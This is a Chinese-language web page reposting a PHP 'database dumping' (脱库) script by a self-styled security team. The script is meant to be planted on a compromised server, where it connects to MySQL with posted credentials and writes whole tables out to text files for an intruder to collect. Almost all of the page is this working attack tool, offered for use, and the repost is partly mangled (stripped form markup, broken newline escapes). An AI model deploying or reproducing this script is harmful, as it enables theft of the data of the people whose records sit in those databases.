欢迎来到福编程网,本站提供各种互联网专业知识!

MYSQL_OUTPUT 脱裤(脱库)通用脚本(修正版)

发布时间:1970-01-01 作者:佚名 来源:互联网
感谢各位的测试,下次再也不发垃圾脚本了,之前那个大家转走的都修正下吧,问题太多了.(几乎都没测试过)下面这个是我重新修改下的.

复制代码代码如下:

:: hExI3_Securi7y_TeAm...SCRIPT_FILENAME : <?=$_SERVER["PHP_SELF"]?>

Mysql Database on Tables to Txt...

#_E-mail:go_root#Hotmail.com

#_Author:HYrz

--------------------------------------------------------

Host:

User:

Password:

Database Check:

Tables is:

New_Data Filename:

全福编程网

ini_set('display_errors', 1);

set_time_limit(0);

//error_reporting(E_ALL);

function ShowMessage($Str)

{

$FILENAME = $_SERVER["PHP_SELF"];

Die('');

Die('');

}

function _Printf($Str, $type = '')

{

if (empty($type))

echo '[+] '.$Str.'

';

else

echo '[#] '.$Str.'

';

}

function dirsize($dir) {

@$dh = opendir($dir);

$size = 0;

while ($file = @readdir($dh)) {

if ($file != "." and $file != "..") {

$path = $dir."/".$file;

if (is_dir($path)) {

$size += dirsize($path);

} elseif (is_file($path)) {

$size += filesize($path);

}

}

}

@closedir($dh);

return $size;

}

if (empty($_POST['submit'])) exit();

$db_host = $_POST["host"];

$db_user = $_POST["user"];

$db_pass = $_POST["pass"];

$db_database = $_POST["database"];

$db_table = $_POST["table"];

$backDB_Filename = $_POST["back_file"];

//endPost

if (empty($db_host)){

$_POST["host"] = $db_host;

ShowMessage("Messagebox: Host Error!");

}elseif (empty($db_user)) {

$_POST["user"] = $db_user;

ShowMessage("Messagebox: User Error!");

}elseif (empty($db_pass)){

$_POST["pass"] = $db_pass;

ShowMessage("Messagebox: Pass Error!");

}elseif (empty($db_database)) {

$_POST["database"] = $db_database;

ShowMessage("Messagebox: Database Error!");

}elseif (empty($db_table)) {

$_POST["table"] = $db_table;

ShowMessage("Messagebox: table Error!");

}elseif (empty($backDB_Filename)) {

$_POST["back_file"] = $backDB_Filename;

ShowMessage("Messagebox: backDB_Filename Error!");

} #endif

if (!is_dir('data_xiaosan')) {

mkdir('data_xiaosan',0777);

}#endif

$sql = mysql_connect($db_host,$db_user,$db_pass) or ShowMessage('[#] connect Error ! ');

mysql_select_db($db_database,$sql) or die("Could not connect: " . mysql_error());

$result = mysql_query("SELECT * FROM $db_table",$sql) or die("Could not connect: " . mysql_error());

$FieldCount = mysql_query("SELECT CoUnt(*) FrOm $db_table",$sql);

$F_Num = mysql_fetch_row($FieldCount);

_Printf('InforMatIon : --------------','Main');

_Printf("TableCounts :". + $F_Num[0]);

if ($F_Num[0] < 500){

$SuB1 = $F_Num[0] / 2;

} else $SuB1 = 500; //endif

$i = 0;

$tmp = '';

while ($row = mysql_fetch_array($result, MYSQL_NUM)) {

$i = $i+1;

$tmp .= implode("::", $row)."n";

if(!($i%$SuB1)){

$filename_ = 'data_xiaosan/'.intval($i/$SuB1).$backDB_Filename;

file_put_contents($filename_,$tmp);

$tmp = '';

}#endif

}#endwhile

mysql_free_result($result);

mysql_close($sql);

if (dirsize('data_xiaosan')>1){

_Printf("Msg : OutPut_Succ!");}else

_Printf("Err : output fail !"); //endPri

?>

相关推荐